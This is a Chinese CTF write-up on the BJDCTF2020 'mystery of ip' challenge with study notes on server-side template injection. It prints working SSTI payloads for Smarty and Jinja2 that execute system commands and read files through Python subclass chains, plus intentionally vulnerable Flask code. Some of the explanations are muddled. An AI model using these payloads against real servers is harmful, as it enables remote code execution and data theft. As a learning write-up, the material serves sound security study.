0%

[BJDCTF2020]The mystery of ip

一道很好看的题

0x00:知识点

  • http响应头
  • 服务器模板注入(SSIT)

0x01:解题

抓包修改,均有反应

1
2
X-forwarded-for:127.0.0.2
CLIENT-IP:127.0.0.1

百度了一下,知道了可以SSIT

payload:

1
X-forwarded-for:{if system('cat ../../../flag')}{/if}

得到flag。

0x02:恶补一波SSIT(Server-Side Template Injection)

https://blog.csdn.net/weixin_44604541/article/details/109048578

一 首先了解什么是模板引擎:

为了使用户界面和业务数据(内容)分离而产生的。用于网站的模板引擎最终会生成标准HTML文件。

常见的有置换型,解释型,编译型

1
2
3
模板引擎():
render(用户输入) # 渲染函数
return 前端html

二 SSTI原理

与SQL类似,通过构造特殊的用户输入,经渲染拼接后执行以达成一些目的。其利用的就是网站模板引擎。主要有针对python,php,java网站处理框架。

  • python: jinja2 mako tornado django
  • php: smarty twig
  • java: jade velocity

三 SSTI实例

  • python下的flask框架

flask主要使用jinja2作为渲染模板,先搭建一个最简单的flask框架下的web。

1
2
3
4
5
6
7
from flask import *
app = Flask(__name__) #
@app.route("/index/")
def test():
return "Hello flask"

app.run() # http://127.0.0.1:5000/index/

flask下主要的渲染函数:render_template_string() 与render_template()

render_temlpate_string()容易造成xss漏洞

最简单的例子

1
2
3
4
@app.route("/")
def xsstest():
xss=request.args.get("xss")
return render_template_string(xss)

可以弹出弹窗并通过进行简单的运算

render_template()则没有这样的漏洞

1
2
3
4
@app.route("/")
def test():
content = request.args.get("content")
return render_template_string("{{html}}", html=content)

因为render_template_string()对传入的字符串直接渲染,在这里即对用户输入直接渲染,渲染结果可能直接影响html的结构,最终造成漏洞。而render_template()中html也页面的结构是确定的,函数将穿入的参数仅仅作为已知html中的变量值(即渲染前进行转义),所以render_template()只有可能出现转义方面的漏洞。

有关{{}}的文件读写,任意命令执行漏洞。

流程:获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块

有关魔术方法

1
2
3
4
5
__class__ # 返回调用参数的类型
__bases__ # 返回基类列表
__mro__ # method resolution order方法解析顺序
__subclasses__() # 返回子类列表
globals() # 以字典的形式返回当前位置全部全局变量

实现文件读写

  • python2

    1
    2
    ''.__class__.__mro__[2].__subclasses__().index(fiel) # 40
    ''.__class__.__mro__[2].__subclasses__()[40]("d:/flag.txt").read()
  • python3

    1
    2
    http://127.0.0.1:5000/?xss={{%22%22.__class__.__base__.__subclasses__()[134].__init__.__globals__[%27popen%27](%22d:/flag.txt%22).readline()}} #一个在本机测试成功的payload
    #%22%22.__class__.__base__.__subclasses__()[134]= <class 'os._wrap_close'>

    “”.class.base.subclasses()[134].init.__globals__中一些可用的方法

    • ‘makedirs’: <function makedirs at 0x000001EFC2457DC0>
    • ‘renames’: <function renames at 0x000001EFC24A73A0>
    • ‘walk’: <function walk at 0x000001EFC24A7430> # 返回generator我不太会用
    • ‘popen’: <function popen at 0x000001EFC24A84C0> #可以文件读写
1
2
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
#做题学到的payload
  • php下的smarty框架